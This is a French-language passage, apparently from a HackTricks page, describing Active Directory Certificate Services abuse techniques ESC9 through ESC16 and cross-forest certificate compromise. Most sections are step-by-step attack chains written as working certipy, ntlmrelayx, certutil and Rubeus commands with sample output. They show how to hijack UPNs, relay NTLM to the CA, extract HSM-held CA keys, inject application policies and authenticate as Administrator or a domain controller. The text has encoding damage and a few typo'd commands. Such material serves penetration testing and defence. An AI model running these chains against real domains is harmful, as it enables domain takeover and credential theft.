Une technique telle que PetitPotam peut alors ĂȘtre utilisĂ©e pour forcer lâauthentification. Lorsquâil sâagit de contrĂŽleurs de domaine, la spĂ©cification -template DomainController est requise.
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
Pas dâextension de sĂ©curitĂ© - ESC9
Explication
La nouvelle valeur CT_FLAG_NO_SECURITY_EXTENSION (0x80000) pour msPKI-Enrollment-Flag, appelĂ©e ESC9, empĂȘche lâinclusion de la nouvelle extension de sĂ©curitĂ© szOID_NTDS_CA_SECURITY_EXT dans un certificat. Ce flag devient pertinent lorsque StrongCertificateBindingEnforcement est rĂ©glĂ© sur 1 (valeur par dĂ©faut), contrairement Ă 2. Son importance augmente dans les scĂ©narios oĂč un mappage de certificat plus faible pour Kerberos ou Schannel pourrait ĂȘtre exploitĂ© (comme dans ESC10), Ă©tant donnĂ© que lâabsence dâESC9 ne modifierait pas les exigences.
Les conditions dans lesquelles la configuration de ce flag devient significative incluent :
StrongCertificateBindingEnforcementnâest pas rĂ©glĂ© sur2(la valeur par dĂ©faut Ă©tant1), ouCertificateMappingMethodsinclut le flagUPN.- Le certificat est marquĂ© avec le flag
CT_FLAG_NO_SECURITY_EXTENSIONdans le paramĂštremsPKI-Enrollment-Flag. - Le certificat spĂ©cifie nâimporte quelle EKU dâauthentification client.
- Des permissions
GenericWritesont disponibles sur nâimporte quel compte permettant de compromettre un autre.
ScĂ©nario dâabus
Supposons que John@corp.local dispose de permissions GenericWrite sur Jane@corp.local, dans le but de compromettre Administrator@corp.local. Le template de certificat ESC9, auquel Jane@corp.local est autorisĂ©e Ă sâinscrire, est configurĂ© avec le flag CT_FLAG_NO_SECURITY_EXTENSION dans son paramĂštre msPKI-Enrollment-Flag.
Initialement, le hash de Jane est obtenu en utilisant Shadow Credentials, grĂące au GenericWrite de John :
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
Par la suite, le userPrincipalName de Jane est modifié en Administrator, omettant volontairement la partie de domaine @corp.local :
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
Cette modification ne viole pas les contraintes, étant donné que Administrator@corp.local reste distinct en tant que userPrincipalName de Administrator.
Suite à cela, le modÚle de certificat ESC9, marqué comme vulnérable, est demandé en tant que Jane:
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
On note que le userPrincipalName du certificat reflĂšte Administrator, dĂ©pourvu de tout âobject SIDâ.
Le userPrincipalName de Jane est ensuite rĂ©tabli Ă sa valeur dâorigine, Jane@corp.local :
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
La tentative dâauthentification avec le certificat Ă©mis renvoie maintenant le hash NT de Administrator@corp.local. La commande doit inclure -domain <domain> en raison de lâabsence de spĂ©cification du domaine dans le certificat :
certipy auth -pfx adminitrator.pfx -domain corp.local
Faibles mappages de certificats - ESC10
Explication
ESC10 fait référence à deux valeurs de clé de registre sur le contrÎleur de domaine :
- The default value for
CertificateMappingMethodsunderHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannelis0x18(0x8 | 0x10), previously set to0x1F. - The default setting for
StrongCertificateBindingEnforcementunderHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdcis1, previously0.
Cas 1
Lorsque StrongCertificateBindingEnforcement est configuré à 0.
Cas 2
Si CertificateMappingMethods inclut le bit UPN (0x4).
Cas dâabus 1
Avec StrongCertificateBindingEnforcement configurĂ© Ă 0, un compte A disposant des permissions GenericWrite peut ĂȘtre exploitĂ© pour compromettre nâimporte quel compte B.
Par exemple, en ayant des permissions GenericWrite sur Jane@corp.local, un attaquant cherche Ă compromettre Administrator@corp.local. La procĂ©dure reflĂšte ESC9, permettant dâutiliser nâimporte quel modĂšle de certificat.
Initialement, le hash de Jane est récupéré en utilisant Shadow Credentials, en exploitant le GenericWrite.
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
Par la suite, le userPrincipalName de Jane est modifié en Administrator, omettant délibérément la partie @corp.local pour éviter une violation de contrainte.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
Suite Ă cela, un certificat permettant lâauthentification client est demandĂ© au nom de Jane, en utilisant le modĂšle par dĂ©faut User.
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Le userPrincipalName de Jane est ensuite rétabli à sa valeur originale, Jane@corp.local.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
Sâauthentifier avec le certificat obtenu fournira le NT hash de Administrator@corp.local, il faut donc prĂ©ciser le domaine dans la commande car le certificat ne contient pas dâinformations de domaine.
certipy auth -pfx administrator.pfx -domain corp.local
Cas dâabus 2
Si la propriĂ©tĂ© CertificateMappingMethods contient le drapeau de bit UPN (0x4), un compte A disposant des permissions GenericWrite peut compromettre tout compte B dĂ©pourvu de la propriĂ©tĂ© userPrincipalName, y compris les comptes machine et lâadministrateur de domaine intĂ©grĂ© Administrator.
Ici, lâobjectif est de compromettre DC$@corp.local, en commençant par obtenir le hash de Jane via Shadow Credentials, en tirant parti de GenericWrite.
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
Le userPrincipalName de Jane est ensuite défini sur DC$@corp.local.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
Un certificat pour lâauthentification du client est demandĂ© en tant que Jane en utilisant le modĂšle par dĂ©faut User.
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Le userPrincipalName de Jane est revenu Ă sa valeur dâorigine aprĂšs ce processus.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
Pour sâauthentifier via Schannel, lâoption -ldap-shell de Certipy est utilisĂ©e, indiquant un succĂšs dâauthentification en tant que u:CORP\DC$.
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
Via le LDAP shell, des commandes telles que set_rbcd permettent des attaques Resource-Based Constrained Delegation (RBCD), pouvant compromettre le contrĂŽleur de domaine.
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
Cette vulnĂ©rabilitĂ© sâĂ©tend Ă©galement Ă tout compte utilisateur dĂ©pourvu dâun userPrincipalName ou lorsque celui-ci ne correspond pas au sAMAccountName, le compte par dĂ©faut Administrator@corp.local Ă©tant une cible privilĂ©giĂ©e en raison de ses privilĂšges LDAP Ă©levĂ©s et de lâabsence par dĂ©faut dâun userPrincipalName.
Relais NTLM vers ICPR - ESC11
Explication
Si le CA Server nâest pas configurĂ© avec IF_ENFORCEENCRYPTICERTREQUEST, cela permet des attaques relais NTLM sans signature via le service RPC. Reference in here.
Vous pouvez utiliser certipy pour énumérer si Enforce Encryption for Requests est désactivé et certipy affichera les vulnérabilités ESC11.
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
ScĂ©nario dâabus
Il est nécessaire de configurer un serveur de relais :
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
Remarque : Pour les contrÎleurs de domaine, nous devons spécifier -template dans DomainController.
Ou en utilisant sploutchyâs fork of impacket :
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
AccĂšs shell Ă ADCS CA avec YubiHSM - ESC12
Explication
Les administrateurs peuvent configurer la Certificate Authority (CA) pour la stocker sur un pĂ©riphĂ©rique externe comme le âYubico YubiHSM2â.
Si un pĂ©riphĂ©rique USB est connectĂ© au serveur CA via un port USB, ou via un USB device server si le serveur CA est une machine virtuelle, une authentication key (parfois appelĂ©e âpasswordâ) est requise pour que le Key Storage Provider gĂ©nĂšre et utilise les clĂ©s dans le YubiHSM.
Cette key/password est stockée dans le registre sous HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword en clair.
Reference in here.
ScĂ©nario dâabus
Si la clé privée du CA est stockée sur un périphérique USB physique et que vous obtenez un shell access, il est possible de récupérer la clé.
Dans un premier temps, vous devez obtenir le certificat du CA (câest public) puis :
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
Enfin, utilisez la commande certutil -sign pour forger un nouveau certificat arbitraire en utilisant le certificat CA et sa clé privée.
OID Group Link Abuse - ESC13
Explication
Lâattribut msPKI-Certificate-Policy permet dâajouter la politique dâĂ©mission au modĂšle de certificat. Les objets msPKI-Enterprise-Oid responsables de lâĂ©mission des politiques peuvent ĂȘtre dĂ©couverts dans le Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) du conteneur PKI OID. Une politique peut ĂȘtre liĂ©e Ă un groupe AD via lâattribut msDS-OIDToGroupLink de cet objet, permettant Ă un systĂšme dâautoriser un utilisateur qui prĂ©sente le certificat comme sâil Ă©tait membre du groupe. Reference in here.
Autrement dit, lorsquâun utilisateur a la permission dâenregistrer (enroll) un certificat et que le certificat est liĂ© Ă un groupe OID, lâutilisateur peut hĂ©riter des privilĂšges de ce groupe.
Utilisez Check-ADCSESC13.ps1 pour trouver OIDToGroupLink :
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
ScĂ©nario dâabus
Identifier une permission utilisateur : utilisez certipy find ou Certify.exe find /showAllPermissions.
Si John dispose de la permission de demander un certificat pour VulnerableTemplate, lâutilisateur peut hĂ©riter des privilĂšges du groupe VulnerableGroup.
Il lui suffit de spécifier le template ; il obtiendra un certificat avec les droits OIDToGroupLink.
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
Configuration de renouvellement de certificat vulnérable - ESC14
Explication
La description sur https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping est remarquablement complĂšte. Ci-dessous une citation du texte original.
ESC14 concerne les vulnĂ©rabilitĂ©s rĂ©sultant dâun âweak explicit certificate mappingâ, principalement via lâutilisation incorrecte ou la configuration insecure de lâattribut altSecurityIdentities sur les comptes utilisateur ou ordinateur Active Directory. Cet attribut Ă valeurs multiples permet aux administrateurs dâassocier manuellement des certificats X.509 Ă un compte AD pour les fins dâauthentification. Lorsquâil est renseignĂ©, ces mappages explicites peuvent remplacer la logique de mappage de certificat par dĂ©faut, qui sâappuie typiquement sur les UPNs ou les DNS names dans le SAN du certificat, ou sur le SID intĂ©grĂ© dans lâextension de sĂ©curitĂ© szOID_NTDS_CA_SECURITY_EXT.
Un mappage âfaibleâ survient lorsque la valeur string utilisĂ©e dans lâattribut altSecurityIdentities pour identifier un certificat est trop large, facilement devinable, sâappuie sur des champs de certificat non uniques, ou utilise des composants de certificat facilement usurpables. Si un attaquant peut obtenir ou fabriquer un certificat dont les attributs correspondent Ă un tel mappage explicite faiblement dĂ©fini pour un compte privilĂ©giĂ©, il peut utiliser ce certificat pour sâauthentifier en tant que et usurper ce compte.
Exemples de chaĂźnes de mappage altSecurityIdentities potentiellement faibles incluent :
- Mappage uniquement par un Subject Common Name (CN) commun : ex.,
X509:<S>CN=SomeUser. Un attaquant pourrait ĂȘtre capable dâobtenir un certificat avec ce CN depuis une source moins sĂ©curisĂ©e. - Utilisation de Issuer Distinguished Names (DNs) ou Subject DNs trop gĂ©nĂ©riques sans qualification supplĂ©mentaire comme un numĂ©ro de sĂ©rie spĂ©cifique ou un subject key identifier : ex.,
X509:<I>CN=SomeInternalCA<S>CN=GenericUser. - Emploi dâautres patterns prĂ©visibles ou dâidentifiants non cryptographiques quâun attaquant pourrait satisfaire dans un certificat quâil peut lĂ©gitimement obtenir ou forger (sâil a compromis une CA ou trouvĂ© un template vulnĂ©rable comme dans ESC1).
Lâattribut altSecurityIdentities supporte divers formats de mappage, tels que :
X509:<I>IssuerDN<S>SubjectDN(mappe par Issuer et Subject DN complets)X509:<SKI>SubjectKeyIdentifier(mappe par la valeur de lâextension Subject Key Identifier du certificat)X509:<SR>SerialNumberBackedByIssuerDN(mappe par numĂ©ro de sĂ©rie, implicitement qualifiĂ© par lâIssuer DN) - ce nâest pas un format standard, gĂ©nĂ©ralement câest<I>IssuerDN<SR>SerialNumber.X509:<RFC822>EmailAddress(mappe par un nom RFC822, typiquement une adresse e-mail, depuis le SAN)X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey(mappe par un hash SHA1 de la clĂ© publique brute du certificat - gĂ©nĂ©ralement fort)
La sĂ©curitĂ© de ces mappages dĂ©pend fortement de la spĂ©cificitĂ©, lâunicitĂ© et la force cryptographique des identifiants de certificat choisis dans la chaĂźne de mappage. MĂȘme avec des modes de liaison de certificat forts activĂ©s sur les Domain Controllers (qui affectent principalement les mappages implicites basĂ©s sur les SAN UPNs/DNS et lâextension SID), une entrĂ©e altSecurityIdentities mal configurĂ©e peut toujours constituer une voie directe pour lâusurpation si la logique de mappage elle-mĂȘme est dĂ©faillante ou trop permissive.
ScĂ©nario dâabus
ESC14 cible les explicit certificate mappings dans Active Directory (AD), spĂ©cifiquement lâattribut altSecurityIdentities. Si cet attribut est dĂ©fini (par conception ou par mauvaise configuration), des attaquants peuvent usurper des comptes en prĂ©sentant des certificats correspondant au mappage.
ScĂ©nario A : Lâattaquant peut Ă©crire dans altSecurityIdentities
PrĂ©condition : Lâattaquant a les permissions dâĂ©criture sur lâattribut altSecurityIdentities du compte cible ou la permission de le dĂ©lĂ©guer sous la forme dâune des permissions suivantes sur lâobjet AD cible :
- Write property
altSecurityIdentities - Write property
Public-Information - Write property (all)
WriteDACLWriteOwner*GenericWriteGenericAll- Owner*.
Scénario B : La cible a un mappage faible via X509RFC822 (Email)
- PrĂ©condition : La cible a un mappage X509RFC822 faible dans altSecurityIdentities. Un attaquant peut dĂ©finir lâattribut mail de la victime pour quâil corresponde au nom X509RFC822 de la cible, enroler un certificat en tant que la victime, et lâutiliser pour sâauthentifier en tant que la cible.
Scénario C : La cible a un mappage X509IssuerSubject
- Précondition : La cible a un mappage explicite X509IssuerSubject dans
altSecurityIdentitiesfaible. Lâattaquant peut dĂ©finir lâattributcnoudNSHostNamesur un principal victime pour quâil corresponde au subject du mappage X509IssuerSubject de la cible. Ensuite, lâattaquant peut enroler un certificat en tant que la victime, et utiliser ce certificat pour sâauthentifier en tant que la cible.
Scénario D : La cible a un mappage X509SubjectOnly
- Précondition : La cible a un mappage explicite X509SubjectOnly dans
altSecurityIdentitiesfaible. Lâattaquant peut dĂ©finir lâattributcnoudNSHostNamesur un principal victime pour quâil corresponde au subject du mappage X509SubjectOnly de la cible. Ensuite, lâattaquant peut enroler un certificat en tant que la victime, et utiliser ce certificat pour sâauthentifier en tant que la cible.
opérations concrÚtes
Scénario A
Demander un certificat Ă partir du modĂšle Machine
.\Certify.exe request /ca:<ca> /template:Machine /machine
Enregistrer et convertir le certificat
certutil -MergePFX .\esc13.pem .\esc13.pfx
Sâauthentifier (en utilisant le certificat)
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
Nettoyage (optionnel)
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
Pour des mĂ©thodes dâattaque plus spĂ©cifiques dans divers scĂ©narios dâattaque, veuillez consulter ce qui suit : adcs-esc14-abuse-technique.
EKUwu Application Policies(CVE-2024-49019) - ESC15
Explication
La description sur https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc est remarquablement complĂšte. Ciâdessous une citation du texte original.
En utilisant les templates de certificats version 1 intĂ©grĂ©s par dĂ©faut, un attaquant peut crĂ©er une CSR pour inclure des application policies qui seront prĂ©fĂ©rĂ©es aux attributs Extended Key Usage configurĂ©s dans le template. La seule exigence est dâavoir des enrollment rights, et cela peut ĂȘtre utilisĂ© pour gĂ©nĂ©rer des certificats client (client authentication), des certificate request agent, et des certificats de codesigning en utilisant le template WebServer.
Abus
La référence suivante renvoie à [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
La commande find de Certipy peut aider Ă identifier les templates V1 potentiellement vulnĂ©rables Ă ESC15 si la CA nâest pas patchĂ©e.
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
Scénario A : Usurpation directe via Schannel
Ătape 1 : Demander un certificat, en injectant la politique dâapplication âClient Authenticationâ et le UPN cible. Lâattaquant attacker@corp.local cible administrator@corp.local en utilisant le template âWebServerâ V1 (qui permet au demandeur de fournir le sujet).
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
-template 'WebServer': Le template V1 vulnĂ©rable avec âEnrollee supplies subjectâ.-application-policies 'Client Authentication': Injecte lâOID1.3.6.1.5.5.7.3.2dans lâextension Application Policies du CSR.-upn 'administrator@corp.local': DĂ©finit le UPN dans le SAN pour lâusurpation dâidentitĂ©.
Ătape 2 : sâauthentifier via Schannel (LDAPS) en utilisant le certificat obtenu.
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
Scénario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
Ătape 1 : Demander un certificat Ă partir dâun V1 template (avec âEnrollee supplies subjectâ), en injectant lâApplication Policy âCertificate Request Agentâ. Ce certificat permet Ă lâattaquant (attacker@corp.local) de devenir un enrollment agent. Aucun UPN nâest spĂ©cifiĂ© pour lâidentitĂ© de lâattaquant ici, car lâobjectif est la capacitĂ© dâagent.
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
-application-policies 'Certificate Request Agent': Injecte lâOID1.3.6.1.4.1.311.20.2.1.
Ătape 2 : Utiliser le certificat âagentâ pour demander un certificat au nom dâun utilisateur privilĂ©giĂ© ciblĂ©. Câest une Ă©tape ESC3-like, en utilisant le certificat de lâĂ©tape 1 comme certificat agent.
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
Ătape 3: Authentifiez-vous en tant quâutilisateur privilĂ©giĂ© en utilisant le certificat âon-behalf-ofâ.
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
Security Extension Disabled on CA (Globally)-ESC16
Explanation
ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension) fait rĂ©fĂ©rence au scĂ©nario oĂč, si la configuration dâAD CS nâimpose pas lâinclusion de lâextension szOID_NTDS_CA_SECURITY_EXT dans tous les certificats, un attaquant peut exploiter cela en :
-
En demandant un certificat sans SID binding.
-
En utilisant ce certificat pour sâauthentifier comme nâimporte quel compte, par exemple en se faisant passer pour un compte Ă haut privilĂšge (p.ex., un Domain Administrator).
Vous pouvez également consulter cet article pour en savoir plus sur le principe détaillé : https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
Abuse
La suite se rĂ©fĂšre Ă this link, cliquez pour voir des mĂ©thodes dâutilisation plus dĂ©taillĂ©es.
Pour identifier si lâenvironnement Active Directory Certificate Services (AD CS) est vulnĂ©rable Ă ESC16
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
**Ătape 1 : Lire lâUPN initial du compte victime (Optionnel - pour la restauration).
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
Ătape 2 : Mettre Ă jour le UPN du compte de la victime avec le sAMAccountName de lâadministrateur cible.
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
Ătape 3 : (si nĂ©cessaire) Obtenir les identifiants du compte âvictimâ (par exemple, via Shadow Credentials).
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
Ătape 4 : Demandez un certificat en tant quâutilisateur âvictimâ Ă partir de nâimporte quel modĂšle dâauthentification client adaptĂ© (e.g., âUserâ) sur la CA vulnĂ©rable Ă ESC16. Parce que la CA est vulnĂ©rable Ă ESC16, elle omettra automatiquement lâextension de sĂ©curitĂ© SID du certificat Ă©mis, quelle que soit la configuration spĂ©cifique du modĂšle pour cette extension. DĂ©finissez la variable dâenvironnement du cache dâidentifiants Kerberos (commande shell) :
export KRB5CCNAME=victim.ccache
Puis demandez le certificat :
certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
Ătape 5 : RĂ©tablir le UPN du compte âvictimâ.
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
Ătape 6 : Sâauthentifier en tant quâadministrateur cible.
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
Compromission des forĂȘts par des certificats expliquĂ©e Ă la voix passive
Rupture des trusts de forĂȘt par des CA compromises
La configuration pour lâenrĂŽlement inter-forĂȘts est rendue relativement simple. Le certificat root CA de la forĂȘt de ressources est publiĂ© dans les forĂȘts de comptes par les administrateurs, et les certificats de lâenterprise CA de la forĂȘt de ressources sont ajoutĂ©s aux conteneurs NTAuthCertificates et AIA dans chaque forĂȘt de comptes. Pour clarifier, cette disposition confĂšre Ă la CA de la forĂȘt de ressources un contrĂŽle complet sur toutes les autres forĂȘts pour lesquelles elle gĂšre la PKI. Si cette CA Ă©tait compromise par des attaquants, des certificats pour tous les utilisateurs des forĂȘts de ressources et de comptes pourraient ĂȘtre forgĂ©s par ceux-ci, rompant ainsi la frontiĂšre de sĂ©curitĂ© de la forĂȘt.
PrivilĂšges dâenrĂŽlement accordĂ©s aux principaux Ă©trangers
Dans les environnements multi-forĂȘts, il convient de se montrer prudent concernant les Enterprise CAs qui publient des templates de certificats permettant aux Authenticated Users ou aux principaux Ă©trangers (utilisateurs/groupes externes Ă la forĂȘt Ă laquelle appartient lâEnterprise CA) des droits dâenrĂŽlement et de modification.
Lors de lâauthentification via un trust, lâAuthenticated Users SID est ajoutĂ© au token de lâutilisateur par AD. Ainsi, si un domaine possĂšde une Enterprise CA avec un template qui autorise lâenrĂŽlement aux Authenticated Users, un template pourrait potentiellement ĂȘtre enrĂŽlĂ© par un utilisateur dâune autre forĂȘt. De mĂȘme, si des droits dâenrĂŽlement sont explicitement accordĂ©s Ă un principal Ă©tranger par un template, une relation de contrĂŽle dâaccĂšs inter-forĂȘts est alors créée, permettant Ă un principal dâune forĂȘt de sâenrĂŽler dans un template dâune autre forĂȘt.
Les deux scĂ©narios entraĂźnent une augmentation de la surface dâattaque dâune forĂȘt vers une autre. Les paramĂštres du template de certificat pourraient ĂȘtre exploitĂ©s par un attaquant pour obtenir des privilĂšges supplĂ©mentaires dans un domaine Ă©tranger.
References
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


